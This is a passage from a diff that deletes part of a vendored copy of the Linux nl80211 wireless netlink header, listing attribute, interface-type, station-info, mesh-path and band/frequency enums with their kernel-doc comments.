-  NL80211_ATTR_CONTROL_PORT,
-
-  NL80211_ATTR_TESTDATA,
-
-  NL80211_ATTR_PRIVACY,
-
-  NL80211_ATTR_DISCONNECTED_BY_AP,
-  NL80211_ATTR_STATUS_CODE,
-
-  NL80211_ATTR_CIPHER_SUITES_PAIRWISE,
-  NL80211_ATTR_CIPHER_SUITE_GROUP,
-  NL80211_ATTR_WPA_VERSIONS,
-  NL80211_ATTR_AKM_SUITES,
-
-  NL80211_ATTR_REQ_IE,
-  NL80211_ATTR_RESP_IE,
-
-  NL80211_ATTR_PREV_BSSID,
-
-  NL80211_ATTR_KEY,
-  NL80211_ATTR_KEYS,
-
-  NL80211_ATTR_PID,
-
-  NL80211_ATTR_4ADDR,
-
-  NL80211_ATTR_SURVEY_INFO,
-
-  NL80211_ATTR_PMKID,
-  NL80211_ATTR_MAX_NUM_PMKIDS,
-
-  NL80211_ATTR_DURATION,
-
-  NL80211_ATTR_COOKIE,
-
-  NL80211_ATTR_WIPHY_COVERAGE_CLASS,
-
-  NL80211_ATTR_TX_RATES,
-
-  NL80211_ATTR_FRAME_MATCH,
-
-  NL80211_ATTR_ACK,
-
-  NL80211_ATTR_PS_STATE,
-
-  NL80211_ATTR_CQM,
-
-  NL80211_ATTR_LOCAL_STATE_CHANGE,
-
-  NL80211_ATTR_AP_ISOLATE,
-
-  NL80211_ATTR_WIPHY_TX_POWER_SETTING,
-  NL80211_ATTR_WIPHY_TX_POWER_LEVEL,
-
-  NL80211_ATTR_TX_FRAME_TYPES,
-  NL80211_ATTR_RX_FRAME_TYPES,
-  NL80211_ATTR_FRAME_TYPE,
-
-  NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
-  NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT,
-
-  NL80211_ATTR_SUPPORT_IBSS_RSN,
-
-  NL80211_ATTR_WIPHY_ANTENNA_TX,
-  NL80211_ATTR_WIPHY_ANTENNA_RX,
-
-  NL80211_ATTR_MCAST_RATE,
-
-  NL80211_ATTR_OFFCHANNEL_TX_OK,
-
-  NL80211_ATTR_BSS_HT_OPMODE,
-
-  NL80211_ATTR_KEY_DEFAULT_TYPES,
-
-  NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION,
-
-  NL80211_ATTR_MESH_SETUP,
-
-  NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX,
-  NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX,
-
-  NL80211_ATTR_SUPPORT_MESH_AUTH,
-  NL80211_ATTR_STA_PLINK_STATE,
-
-  NL80211_ATTR_WOWLAN_TRIGGERS,
-  NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED,
-
-  NL80211_ATTR_SCHED_SCAN_INTERVAL,
-
-  NL80211_ATTR_INTERFACE_COMBINATIONS,
-  NL80211_ATTR_SOFTWARE_IFTYPES,
-
-  NL80211_ATTR_REKEY_DATA,
-
-  NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS,
-  NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN,
-
-  NL80211_ATTR_SCAN_SUPP_RATES,
-
-  NL80211_ATTR_HIDDEN_SSID,
-
-  NL80211_ATTR_IE_PROBE_RESP,
-  NL80211_ATTR_IE_ASSOC_RESP,
-
-  NL80211_ATTR_STA_WME,
-  NL80211_ATTR_SUPPORT_AP_UAPSD,
-
-  NL80211_ATTR_ROAM_SUPPORT,
-
-  NL80211_ATTR_SCHED_SCAN_MATCH,
-  NL80211_ATTR_MAX_MATCH_SETS,
-
-  NL80211_ATTR_PMKSA_CANDIDATE,
-
-  NL80211_ATTR_TX_NO_CCK_RATE,
-
-  NL80211_ATTR_TDLS_ACTION,
-  NL80211_ATTR_TDLS_DIALOG_TOKEN,
-  NL80211_ATTR_TDLS_OPERATION,
-  NL80211_ATTR_TDLS_SUPPORT,
-  NL80211_ATTR_TDLS_EXTERNAL_SETUP,
-
-  NL80211_ATTR_DEVICE_AP_SME,
-
-  NL80211_ATTR_DONT_WAIT_FOR_ACK,
-
-  NL80211_ATTR_FEATURE_FLAGS,
-
-  NL80211_ATTR_PROBE_RESP_OFFLOAD,
-
-  NL80211_ATTR_PROBE_RESP,
-
-  NL80211_ATTR_DFS_REGION,
-
-  NL80211_ATTR_DISABLE_HT,
-  NL80211_ATTR_HT_CAPABILITY_MASK,
-
-  NL80211_ATTR_NOACK_MAP,
-
-  NL80211_ATTR_INACTIVITY_TIMEOUT,
-
-  NL80211_ATTR_RX_SIGNAL_DBM,
-
-  NL80211_ATTR_BG_SCAN_PERIOD,
-
-  NL80211_ATTR_WDEV,
-
-  NL80211_ATTR_USER_REG_HINT_TYPE,
-
-  NL80211_ATTR_CONN_FAILED_REASON,
-
-  NL80211_ATTR_SAE_DATA,
-
-  NL80211_ATTR_VHT_CAPABILITY,
-
-  NL80211_ATTR_SCAN_FLAGS,
-
-  NL80211_ATTR_CHANNEL_WIDTH,
-  NL80211_ATTR_CENTER_FREQ1,
-  NL80211_ATTR_CENTER_FREQ2,
-
-  NL80211_ATTR_P2P_CTWINDOW,
-  NL80211_ATTR_P2P_OPPPS,
-
-  NL80211_ATTR_LOCAL_MESH_POWER_MODE,
-
-  NL80211_ATTR_ACL_POLICY,
-
-  NL80211_ATTR_MAC_ADDRS,
-
-  NL80211_ATTR_MAC_ACL_MAX,
-
-  NL80211_ATTR_RADAR_EVENT,
-
-  NL80211_ATTR_EXT_CAPA,
-  NL80211_ATTR_EXT_CAPA_MASK,
-
-  NL80211_ATTR_STA_CAPABILITY,
-  NL80211_ATTR_STA_EXT_CAPABILITY,
-
-  NL80211_ATTR_PROTOCOL_FEATURES,
-  NL80211_ATTR_SPLIT_WIPHY_DUMP,
-
-  NL80211_ATTR_DISABLE_VHT,
-  NL80211_ATTR_VHT_CAPABILITY_MASK,
-
-  NL80211_ATTR_MDID,
-  NL80211_ATTR_IE_RIC,
-
-  NL80211_ATTR_CRIT_PROT_ID,
-  NL80211_ATTR_MAX_CRIT_PROT_DURATION,
-
-  NL80211_ATTR_PEER_AID,
-
-  NL80211_ATTR_COALESCE_RULE,
-
-  NL80211_ATTR_CH_SWITCH_COUNT,
-  NL80211_ATTR_CH_SWITCH_BLOCK_TX,
-  NL80211_ATTR_CSA_IES,
-  NL80211_ATTR_CSA_C_OFF_BEACON,
-  NL80211_ATTR_CSA_C_OFF_PRESP,
-
-  NL80211_ATTR_RXMGMT_FLAGS,
-
-  NL80211_ATTR_STA_SUPPORTED_CHANNELS,
-
-  NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES,
-
-  NL80211_ATTR_HANDLE_DFS,
-
-  NL80211_ATTR_SUPPORT_5_MHZ,
-  NL80211_ATTR_SUPPORT_10_MHZ,
-
-  NL80211_ATTR_OPMODE_NOTIF,
-
-  NL80211_ATTR_VENDOR_ID,
-  NL80211_ATTR_VENDOR_SUBCMD,
-  NL80211_ATTR_VENDOR_DATA,
-  NL80211_ATTR_VENDOR_EVENTS,
-
-  NL80211_ATTR_QOS_MAP,
-
-  NL80211_ATTR_MAC_HINT,
-  NL80211_ATTR_WIPHY_FREQ_HINT,
-
-  NL80211_ATTR_MAX_AP_ASSOC_STA,
-
-  NL80211_ATTR_TDLS_PEER_CAPABILITY,
-
-  NL80211_ATTR_IFACE_SOCKET_OWNER,
-
-  NL80211_ATTR_CSA_C_OFFSETS_TX,
-  NL80211_ATTR_MAX_CSA_COUNTERS,
-
-  NL80211_ATTR_TDLS_INITIATOR,
-
-  NL80211_ATTR_USE_RRM,
-
-  NL80211_ATTR_WIPHY_DYN_ACK,
-
-  NL80211_ATTR_TSID,
-  NL80211_ATTR_USER_PRIO,
-  NL80211_ATTR_ADMITTED_TIME,
-
-  NL80211_ATTR_SMPS_MODE,
-
-  NL80211_ATTR_OPER_CLASS,
-
-  NL80211_ATTR_MAC_MASK,
-
-  NL80211_ATTR_WIPHY_SELF_MANAGED_REG,
-
-  NL80211_ATTR_EXT_FEATURES,
-
-  NL80211_ATTR_SURVEY_RADIO_STATS,
-
-  NL80211_ATTR_NETNS_FD,
-
-  NL80211_ATTR_SCHED_SCAN_DELAY,
-
-  NL80211_ATTR_REG_INDOOR,
-
-  NL80211_ATTR_MAX_NUM_SCHED_SCAN_PLANS,
-  NL80211_ATTR_MAX_SCAN_PLAN_INTERVAL,
-  NL80211_ATTR_MAX_SCAN_PLAN_ITERATIONS,
-  NL80211_ATTR_SCHED_SCAN_PLANS,
-
-  NL80211_ATTR_PBSS,
-
-  /* add attributes here, update the policy in nl80211.c */
-
-  __NL80211_ATTR_AFTER_LAST,
-  NL80211_ATTR_MAX = __NL80211_ATTR_AFTER_LAST - 1
-};
-
-/* source-level API compatibility */
-#define NL80211_ATTR_SCAN_GENERATION NL80211_ATTR_GENERATION
-#define NL80211_ATTR_MESH_PARAMS NL80211_ATTR_MESH_CONFIG
-
-/*
- * Allow user space programs to use #ifdef on new attributes by defining them
- * here
- */
-#define NL80211_CMD_CONNECT NL80211_CMD_CONNECT
-#define NL80211_ATTR_HT_CAPABILITY NL80211_ATTR_HT_CAPABILITY
-#define NL80211_ATTR_BSS_BASIC_RATES NL80211_ATTR_BSS_BASIC_RATES
-#define NL80211_ATTR_WIPHY_TXQ_PARAMS NL80211_ATTR_WIPHY_TXQ_PARAMS
-#define NL80211_ATTR_WIPHY_FREQ NL80211_ATTR_WIPHY_FREQ
-#define NL80211_ATTR_WIPHY_CHANNEL_TYPE NL80211_ATTR_WIPHY_CHANNEL_TYPE
-#define NL80211_ATTR_MGMT_SUBTYPE NL80211_ATTR_MGMT_SUBTYPE
-#define NL80211_ATTR_IE NL80211_ATTR_IE
-#define NL80211_ATTR_REG_INITIATOR NL80211_ATTR_REG_INITIATOR
-#define NL80211_ATTR_REG_TYPE NL80211_ATTR_REG_TYPE
-#define NL80211_ATTR_FRAME NL80211_ATTR_FRAME
-#define NL80211_ATTR_SSID NL80211_ATTR_SSID
-#define NL80211_ATTR_AUTH_TYPE NL80211_ATTR_AUTH_TYPE
-#define NL80211_ATTR_REASON_CODE NL80211_ATTR_REASON_CODE
-#define NL80211_ATTR_CIPHER_SUITES_PAIRWISE NL80211_ATTR_CIPHER_SUITES_PAIRWISE
-#define NL80211_ATTR_CIPHER_SUITE_GROUP NL80211_ATTR_CIPHER_SUITE_GROUP
-#define NL80211_ATTR_WPA_VERSIONS NL80211_ATTR_WPA_VERSIONS
-#define NL80211_ATTR_AKM_SUITES NL80211_ATTR_AKM_SUITES
-#define NL80211_ATTR_KEY NL80211_ATTR_KEY
-#define NL80211_ATTR_KEYS NL80211_ATTR_KEYS
-#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
-
-#define NL80211_MAX_SUPP_RATES 32
-#define NL80211_MAX_SUPP_HT_RATES 77
-#define NL80211_MAX_SUPP_REG_RULES 32
-#define NL80211_TKIP_DATA_OFFSET_ENCR_KEY 0
-#define NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY 16
-#define NL80211_TKIP_DATA_OFFSET_RX_MIC_KEY 24
-#define NL80211_HT_CAPABILITY_LEN 26
-#define NL80211_VHT_CAPABILITY_LEN 12
-
-#define NL80211_MAX_NR_CIPHER_SUITES 5
-#define NL80211_MAX_NR_AKM_SUITES 2
-
-#define NL80211_MIN_REMAIN_ON_CHANNEL_TIME 10
-
-/* default RSSI threshold for scan results if none specified. */
-#define NL80211_SCAN_RSSI_THOLD_OFF -300
-
-#define NL80211_CQM_TXE_MAX_INTVL 1800
-
-/**
- * enum nl80211_iftype - (virtual) interface types
- *
- * @NL80211_IFTYPE_UNSPECIFIED: unspecified type, driver decides
- * @NL80211_IFTYPE_ADHOC: independent BSS member
- * @NL80211_IFTYPE_STATION: managed BSS member
- * @NL80211_IFTYPE_AP: access point
- * @NL80211_IFTYPE_AP_VLAN: VLAN interface for access points; VLAN interfaces
- *	are a bit special in that they must always be tied to a pre-existing
- *	AP type interface.
- * @NL80211_IFTYPE_WDS: wireless distribution interface
- * @NL80211_IFTYPE_MONITOR: monitor interface receiving all frames
- * @NL80211_IFTYPE_MESH_POINT: mesh point
- * @NL80211_IFTYPE_P2P_CLIENT: P2P client
- * @NL80211_IFTYPE_P2P_GO: P2P group owner
- * @NL80211_IFTYPE_P2P_DEVICE: P2P device interface type, this is not a netdev
- *	and therefore can't be created in the normal ways, use the
- *	%NL80211_CMD_START_P2P_DEVICE and %NL80211_CMD_STOP_P2P_DEVICE
- *	commands to create and destroy one
- * @NL80211_IFTYPE_MAX: highest interface type number currently defined
- * @NUM_NL80211_IFTYPES: number of defined interface types
- *
- * These values are used with the %NL80211_ATTR_IFTYPE
- * to set the type of an interface.
- *
- */
-enum nl80211_iftype {
-  NL80211_IFTYPE_UNSPECIFIED,
-  NL80211_IFTYPE_ADHOC,
-  NL80211_IFTYPE_STATION,
-  NL80211_IFTYPE_AP,
-  NL80211_IFTYPE_AP_VLAN,
-  NL80211_IFTYPE_WDS,
-  NL80211_IFTYPE_MONITOR,
-  NL80211_IFTYPE_MESH_POINT,
-  NL80211_IFTYPE_P2P_CLIENT,
-  NL80211_IFTYPE_P2P_GO,
-  NL80211_IFTYPE_P2P_DEVICE,
-
-  /* keep last */
-  NUM_NL80211_IFTYPES,
-  NL80211_IFTYPE_MAX = NUM_NL80211_IFTYPES - 1
-};
-
-/**
- * enum nl80211_sta_flags - station flags
- *
- * Station flags. When a station is added to an AP interface, it is
- * assumed to be already associated (and hence authenticated.)
- *
- * @__NL80211_STA_FLAG_INVALID: attribute number 0 is reserved
- * @NL80211_STA_FLAG_AUTHORIZED: station is authorized (802.1X)
- * @NL80211_STA_FLAG_SHORT_PREAMBLE: station is capable of receiving frames
- *	with short barker preamble
- * @NL80211_STA_FLAG_WME: station is WME/QoS capable
- * @NL80211_STA_FLAG_MFP: station uses management frame protection
- * @NL80211_STA_FLAG_AUTHENTICATED: station is authenticated
- * @NL80211_STA_FLAG_TDLS_PEER: station is a TDLS peer -- this flag should
- *	only be used in managed mode (even in the flags mask). Note that the
- *	flag can't be changed, it is only valid while adding a station, and
- *	attempts to change it will silently be ignored (rather than rejected
- *	as errors.)
- * @NL80211_STA_FLAG_ASSOCIATED: station is associated; used with drivers
- *	that support %NL80211_FEATURE_FULL_AP_CLIENT_STATE to transition a
- *	previously added station into associated state
- * @NL80211_STA_FLAG_MAX: highest station flag number currently defined
- * @__NL80211_STA_FLAG_AFTER_LAST: internal use
- */
-enum nl80211_sta_flags {
-  __NL80211_STA_FLAG_INVALID,
-  NL80211_STA_FLAG_AUTHORIZED,
-  NL80211_STA_FLAG_SHORT_PREAMBLE,
-  NL80211_STA_FLAG_WME,
-  NL80211_STA_FLAG_MFP,
-  NL80211_STA_FLAG_AUTHENTICATED,
-  NL80211_STA_FLAG_TDLS_PEER,
-  NL80211_STA_FLAG_ASSOCIATED,
-
-  /* keep last */
-  __NL80211_STA_FLAG_AFTER_LAST,
-  NL80211_STA_FLAG_MAX = __NL80211_STA_FLAG_AFTER_LAST - 1
-};
-
-#define NL80211_STA_FLAG_MAX_OLD_API NL80211_STA_FLAG_TDLS_PEER
-
-/**
- * struct nl80211_sta_flag_update - station flags mask/set
- * @mask: mask of station flags to set
- * @set: which values to set them to
- *
- * Both mask and set contain bits as per &enum nl80211_sta_flags.
- */
-struct nl80211_sta_flag_update {
-  __u32 mask;
-  __u32 set;
-} __attribute__((packed));
-
-/**
- * enum nl80211_rate_info - bitrate information
- *
- * These attribute types are used with %NL80211_STA_INFO_TXRATE
- * when getting information about the bitrate of a station.
- * There are 2 attributes for bitrate, a legacy one that represents
- * a 16-bit value, and new one that represents a 32-bit value.
- * If the rate value fits into 16 bit, both attributes are reported
- * with the same value. If the rate is too high to fit into 16 bits
- * (>6.5535Gbps) only 32-bit attribute is included.
- * User space tools encouraged to use the 32-bit attribute and fall
- * back to the 16-bit one for compatibility with older kernels.
- *
- * @__NL80211_RATE_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_RATE_INFO_BITRATE: total bitrate (u16, 100kbit/s)
- * @NL80211_RATE_INFO_MCS: mcs index for 802.11n (u8)
- * @NL80211_RATE_INFO_40_MHZ_WIDTH: 40 MHz dualchannel bitrate
- * @NL80211_RATE_INFO_SHORT_GI: 400ns guard interval
- * @NL80211_RATE_INFO_BITRATE32: total bitrate (u32, 100kbit/s)
- * @NL80211_RATE_INFO_MAX: highest rate_info number currently defined
- * @NL80211_RATE_INFO_VHT_MCS: MCS index for VHT (u8)
- * @NL80211_RATE_INFO_VHT_NSS: number of streams in VHT (u8)
- * @NL80211_RATE_INFO_80_MHZ_WIDTH: 80 MHz VHT rate
- * @NL80211_RATE_INFO_80P80_MHZ_WIDTH: 80+80 MHz VHT rate
- * @NL80211_RATE_INFO_160_MHZ_WIDTH: 160 MHz VHT rate
- * @__NL80211_RATE_INFO_AFTER_LAST: internal use
- */
-enum nl80211_rate_info {
-  __NL80211_RATE_INFO_INVALID,
-  NL80211_RATE_INFO_BITRATE,
-  NL80211_RATE_INFO_MCS,
-  NL80211_RATE_INFO_40_MHZ_WIDTH,
-  NL80211_RATE_INFO_SHORT_GI,
-  NL80211_RATE_INFO_BITRATE32,
-  NL80211_RATE_INFO_VHT_MCS,
-  NL80211_RATE_INFO_VHT_NSS,
-  NL80211_RATE_INFO_80_MHZ_WIDTH,
-  NL80211_RATE_INFO_80P80_MHZ_WIDTH,
-  NL80211_RATE_INFO_160_MHZ_WIDTH,
-
-  /* keep last */
-  __NL80211_RATE_INFO_AFTER_LAST,
-  NL80211_RATE_INFO_MAX = __NL80211_RATE_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_sta_bss_param - BSS information collected by STA
- *
- * These attribute types are used with %NL80211_STA_INFO_BSS_PARAM
- * when getting information about the bitrate of a station.
- *
- * @__NL80211_STA_BSS_PARAM_INVALID: attribute number 0 is reserved
- * @NL80211_STA_BSS_PARAM_CTS_PROT: whether CTS protection is enabled (flag)
- * @NL80211_STA_BSS_PARAM_SHORT_PREAMBLE:  whether short preamble is enabled
- *	(flag)
- * @NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME:  whether short slot time is enabled
- *	(flag)
- * @NL80211_STA_BSS_PARAM_DTIM_PERIOD: DTIM period for beaconing (u8)
- * @NL80211_STA_BSS_PARAM_BEACON_INTERVAL: Beacon interval (u16)
- * @NL80211_STA_BSS_PARAM_MAX: highest sta_bss_param number currently defined
- * @__NL80211_STA_BSS_PARAM_AFTER_LAST: internal use
- */
-enum nl80211_sta_bss_param {
-  __NL80211_STA_BSS_PARAM_INVALID,
-  NL80211_STA_BSS_PARAM_CTS_PROT,
-  NL80211_STA_BSS_PARAM_SHORT_PREAMBLE,
-  NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME,
-  NL80211_STA_BSS_PARAM_DTIM_PERIOD,
-  NL80211_STA_BSS_PARAM_BEACON_INTERVAL,
-
-  /* keep last */
-  __NL80211_STA_BSS_PARAM_AFTER_LAST,
-  NL80211_STA_BSS_PARAM_MAX = __NL80211_STA_BSS_PARAM_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_sta_info - station information
- *
- * These attribute types are used with %NL80211_ATTR_STA_INFO
- * when getting information about a station.
- *
- * @__NL80211_STA_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_STA_INFO_INACTIVE_TIME: time since last activity (u32, msecs)
- * @NL80211_STA_INFO_RX_BYTES: total received bytes (u32, from this station)
- * @NL80211_STA_INFO_TX_BYTES: total transmitted bytes (u32, to this station)
- * @NL80211_STA_INFO_RX_BYTES64: total received bytes (u64, from this station)
- * @NL80211_STA_INFO_TX_BYTES64: total transmitted bytes (u64, to this station)
- * @NL80211_STA_INFO_SIGNAL: signal strength of last received PPDU (u8, dBm)
- * @NL80211_STA_INFO_TX_BITRATE: current unicast tx rate, nested attribute
- * 	containing info as possible, see &enum nl80211_rate_info
- * @NL80211_STA_INFO_RX_PACKETS: total received packet (u32, from this station)
- * @NL80211_STA_INFO_TX_PACKETS: total transmitted packets (u32, to this
- *	station)
- * @NL80211_STA_INFO_TX_RETRIES: total retries (u32, to this station)
- * @NL80211_STA_INFO_TX_FAILED: total failed packets (u32, to this station)
- * @NL80211_STA_INFO_SIGNAL_AVG: signal strength average (u8, dBm)
- * @NL80211_STA_INFO_LLID: the station's mesh LLID
- * @NL80211_STA_INFO_PLID: the station's mesh PLID
- * @NL80211_STA_INFO_PLINK_STATE: peer link state for the station
- *	(see %enum nl80211_plink_state)
- * @NL80211_STA_INFO_RX_BITRATE: last unicast data frame rx rate, nested
- *	attribute, like NL80211_STA_INFO_TX_BITRATE.
- * @NL80211_STA_INFO_BSS_PARAM: current station's view of BSS, nested attribute
- *     containing info as possible, see &enum nl80211_sta_bss_param
- * @NL80211_STA_INFO_CONNECTED_TIME: time since the station is last connected
- * @NL80211_STA_INFO_STA_FLAGS: Contains a struct nl80211_sta_flag_update.
- * @NL80211_STA_INFO_BEACON_LOSS: count of times beacon loss was detected (u32)
- * @NL80211_STA_INFO_T_OFFSET: timing offset with respect to this STA (s64)
- * @NL80211_STA_INFO_LOCAL_PM: local mesh STA link-specific power mode
- * @NL80211_STA_INFO_PEER_PM: peer mesh STA link-specific power mode
- * @NL80211_STA_INFO_NONPEER_PM: neighbor mesh STA power save mode towards
- *	non-peer STA
- * @NL80211_STA_INFO_CHAIN_SIGNAL: per-chain signal strength of last PPDU
- *	Contains a nested array of signal strength attributes (u8, dBm)
- * @NL80211_STA_INFO_CHAIN_SIGNAL_AVG: per-chain signal strength average
- *	Same format as NL80211_STA_INFO_CHAIN_SIGNAL.
- * @NL80211_STA_EXPECTED_THROUGHPUT: expected throughput considering also the
- *	802.11 header (u32, kbps)
- * @__NL80211_STA_INFO_AFTER_LAST: internal
- * @NL80211_STA_INFO_MAX: highest possible station info attribute
- */
-enum nl80211_sta_info {
-  __NL80211_STA_INFO_INVALID,
-  NL80211_STA_INFO_INACTIVE_TIME,
-  NL80211_STA_INFO_RX_BYTES,
-  NL80211_STA_INFO_TX_BYTES,
-  NL80211_STA_INFO_LLID,
-  NL80211_STA_INFO_PLID,
-  NL80211_STA_INFO_PLINK_STATE,
-  NL80211_STA_INFO_SIGNAL,
-  NL80211_STA_INFO_TX_BITRATE,
-  NL80211_STA_INFO_RX_PACKETS,
-  NL80211_STA_INFO_TX_PACKETS,
-  NL80211_STA_INFO_TX_RETRIES,
-  NL80211_STA_INFO_TX_FAILED,
-  NL80211_STA_INFO_SIGNAL_AVG,
-  NL80211_STA_INFO_RX_BITRATE,
-  NL80211_STA_INFO_BSS_PARAM,
-  NL80211_STA_INFO_CONNECTED_TIME,
-  NL80211_STA_INFO_STA_FLAGS,
-  NL80211_STA_INFO_BEACON_LOSS,
-  NL80211_STA_INFO_T_OFFSET,
-  NL80211_STA_INFO_LOCAL_PM,
-  NL80211_STA_INFO_PEER_PM,
-  NL80211_STA_INFO_NONPEER_PM,
-  NL80211_STA_INFO_RX_BYTES64,
-  NL80211_STA_INFO_TX_BYTES64,
-  NL80211_STA_INFO_CHAIN_SIGNAL,
-  NL80211_STA_INFO_CHAIN_SIGNAL_AVG,
-  NL80211_STA_INFO_EXPECTED_THROUGHPUT,
-
-  /* keep last */
-  __NL80211_STA_INFO_AFTER_LAST,
-  NL80211_STA_INFO_MAX = __NL80211_STA_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mpath_flags - nl80211 mesh path flags
- *
- * @NL80211_MPATH_FLAG_ACTIVE: the mesh path is active
- * @NL80211_MPATH_FLAG_RESOLVING: the mesh path discovery process is running
- * @NL80211_MPATH_FLAG_SN_VALID: the mesh path contains a valid SN
- * @NL80211_MPATH_FLAG_FIXED: the mesh path has been manually set
- * @NL80211_MPATH_FLAG_RESOLVED: the mesh path discovery process succeeded
- */
-enum nl80211_mpath_flags {
-  NL80211_MPATH_FLAG_ACTIVE = 1 << 0,
-  NL80211_MPATH_FLAG_RESOLVING = 1 << 1,
-  NL80211_MPATH_FLAG_SN_VALID = 1 << 2,
-  NL80211_MPATH_FLAG_FIXED = 1 << 3,
-  NL80211_MPATH_FLAG_RESOLVED = 1 << 4,
-};
-
-/**
- * enum nl80211_mpath_info - mesh path information
- *
- * These attribute types are used with %NL80211_ATTR_MPATH_INFO when getting
- * information about a mesh path.
- *
- * @__NL80211_MPATH_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_MPATH_INFO_FRAME_QLEN: number of queued frames for this destination
- * @NL80211_MPATH_INFO_SN: destination sequence number
- * @NL80211_MPATH_INFO_METRIC: metric (cost) of this mesh path
- * @NL80211_MPATH_INFO_EXPTIME: expiration time for the path, in msec from now
- * @NL80211_MPATH_INFO_FLAGS: mesh path flags, enumerated in
- * 	&enum nl80211_mpath_flags;
- * @NL80211_MPATH_INFO_DISCOVERY_TIMEOUT: total path discovery timeout, in msec
- * @NL80211_MPATH_INFO_DISCOVERY_RETRIES: mesh path discovery retries
- * @NL80211_MPATH_INFO_MAX: highest mesh path information attribute number
- *	currently defind
- * @__NL80211_MPATH_INFO_AFTER_LAST: internal use
- */
-enum nl80211_mpath_info {
-  __NL80211_MPATH_INFO_INVALID,
-  NL80211_MPATH_INFO_FRAME_QLEN,
-  NL80211_MPATH_INFO_SN,
-  NL80211_MPATH_INFO_METRIC,
-  NL80211_MPATH_INFO_EXPTIME,
-  NL80211_MPATH_INFO_FLAGS,
-  NL80211_MPATH_INFO_DISCOVERY_TIMEOUT,
-  NL80211_MPATH_INFO_DISCOVERY_RETRIES,
-
-  /* keep last */
-  __NL80211_MPATH_INFO_AFTER_LAST,
-  NL80211_MPATH_INFO_MAX = __NL80211_MPATH_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_band_attr - band attributes
- * @__NL80211_BAND_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_BAND_ATTR_FREQS: supported frequencies in this band,
- *	an array of nested frequency attributes
- * @NL80211_BAND_ATTR_RATES: supported bitrates in this band,
- *	an array of nested bitrate attributes
- * @NL80211_BAND_ATTR_HT_MCS_SET: 16-byte attribute containing the MCS set as
- *	defined in 802.11n
- * @NL80211_BAND_ATTR_HT_CAPA: HT capabilities, as in the HT information IE
- * @NL80211_BAND_ATTR_HT_AMPDU_FACTOR: A-MPDU factor, as in 11n
- * @NL80211_BAND_ATTR_HT_AMPDU_DENSITY: A-MPDU density, as in 11n
- * @NL80211_BAND_ATTR_VHT_MCS_SET: 32-byte attribute containing the MCS set as
- *	defined in 802.11ac
- * @NL80211_BAND_ATTR_VHT_CAPA: VHT capabilities, as in the HT information IE
- * @NL80211_BAND_ATTR_MAX: highest band attribute currently defined
- * @__NL80211_BAND_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_band_attr {
-  __NL80211_BAND_ATTR_INVALID,
-  NL80211_BAND_ATTR_FREQS,
-  NL80211_BAND_ATTR_RATES,
-
-  NL80211_BAND_ATTR_HT_MCS_SET,
-  NL80211_BAND_ATTR_HT_CAPA,
-  NL80211_BAND_ATTR_HT_AMPDU_FACTOR,
-  NL80211_BAND_ATTR_HT_AMPDU_DENSITY,
-
-  NL80211_BAND_ATTR_VHT_MCS_SET,
-  NL80211_BAND_ATTR_VHT_CAPA,
-
-  /* keep last */
-  __NL80211_BAND_ATTR_AFTER_LAST,
-  NL80211_BAND_ATTR_MAX = __NL80211_BAND_ATTR_AFTER_LAST - 1
-};
-
-#define NL80211_BAND_ATTR_HT_CAPA NL80211_BAND_ATTR_HT_CAPA
-
-/**
- * enum nl80211_frequency_attr - frequency attributes
- * @__NL80211_FREQUENCY_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_FREQUENCY_ATTR_FREQ: Frequency in MHz
- * @NL80211_FREQUENCY_ATTR_DISABLED: Channel is disabled in current
- *	regulatory domain.
- * @NL80211_FREQUENCY_ATTR_NO_IR: no mechanisms that initiate radiation
- * 	are permitted on this channel, this includes sending probe
- * 	requests, or modes of operation that require beaconing.
- * @NL80211_FREQUENCY_ATTR_RADAR: Radar detection is mandatory
- *	on this channel in current regulatory domain.
- * @NL80211_FREQUENCY_ATTR_MAX_TX_POWER: Maximum transmission power in mBm
- *	(100 * dBm).
- * @NL80211_FREQUENCY_ATTR_DFS_STATE: current state for DFS
- *	(enum nl80211_dfs_state)
- * @NL80211_FREQUENCY_ATTR_DFS_TIME: time in miliseconds for how long
- *	this channel is in this DFS state.
- * @NL80211_FREQUENCY_ATTR_NO_HT40_MINUS: HT40- isn't possible with this
- *	channel as the control channel
- * @NL80211_FREQUENCY_ATTR_NO_HT40_PLUS: HT40+ isn't possible with this
- *	channel as the control channel
- * @NL80211_FREQUENCY_ATTR_NO_80MHZ: any 80 MHz channel using this channel
- *	as the primary or any of the secondary channels isn't possible,
- *	this includes 80+80 channels
- * @NL80211_FREQUENCY_ATTR_NO_160MHZ: any 160 MHz (but not 80+80) channel
- *	using this channel as the primary or any of the secondary channels
- *	isn't possible
- * @NL80211_FREQUENCY_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
- * @NL80211_FREQUENCY_ATTR_INDOOR_ONLY: Only indoor use is permitted on this
- *	channel. A channel that has the INDOOR_ONLY attribute can only be
- *	used when there is a clear assessment that the device is operating in
- *	an indoor surroundings, i.e., it is connected to AC power (and not
- *	through portable DC inverters) or is under the control of a master
- *	that is acting as an AP and is connected to AC power.
- * @NL80211_FREQUENCY_ATTR_GO_CONCURRENT: GO operation is allowed on this
- *	channel if it's connected concurrently to a BSS on the same channel on
- *	the 2 GHz band or to a channel in the same UNII band (on the 5 GHz
- *	band), and IEEE80211_CHAN_RADAR is not set. Instantiating a GO on a
- *	channel that has the GO_CONCURRENT attribute set can be done when there
- *	is a clear assessment that the device is operating under the guidance of
